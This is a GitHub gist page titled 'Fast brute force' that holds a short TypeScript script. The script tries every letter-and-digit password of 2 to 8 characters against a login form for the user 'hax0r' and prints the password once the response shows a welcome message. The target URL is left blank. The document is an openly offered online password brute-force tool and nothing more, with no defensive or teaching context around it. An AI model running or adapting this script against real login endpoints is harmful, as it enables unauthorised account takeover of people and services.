Skip to content

Instantly share code, notes, and snippets.

@webhacking
Created July 24, 2020 04:46
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save webhacking/7f00dce95e1245e11ac34c7b23d015b0 to your computer and use it in GitHub Desktop.
Save webhacking/7f00dce95e1245e11ac34c7b23d015b0 to your computer and use it in GitHub Desktop.
Fast brute force
import axios from 'axios';
async function generateNoRecursion(len: number, chars: string[]) {
let i;
const indices = [];
for (i = 0; i < len; ++i)
indices.push(0);
while (indices[0] < chars.length) {
let str = "";
for (i = 0; i < indices.length; ++i) {
str += chars[indices[i]];
}
indices[len - 1]++;
for (i = len - 1; i > 0 && indices[i] == chars.length; --i) {
indices[i] = 0;
indices[i - 1]++;
}
await axios.post('', {
id: 'hax0r',
pw: str
}).then((res) => {
if (res.data.search(`Welcome hax0r`) != -1) {
console.log(res.data.search(`Welcome hax0r`))
console.log('Get password', str);
}
})
}
}
function brute(chars: string[], min: number, max: number)
{
for (let l = min; l <= max; ++l) {
generateNoRecursion(l, chars);
}
}
const lowerAlph = ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"];
const upperCaseAlp = ["A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"];
const numbering = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9].map(n => n.toString());
console.log(brute([...lowerAlph, ...upperCaseAlp, ...numbering], 2, 8))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment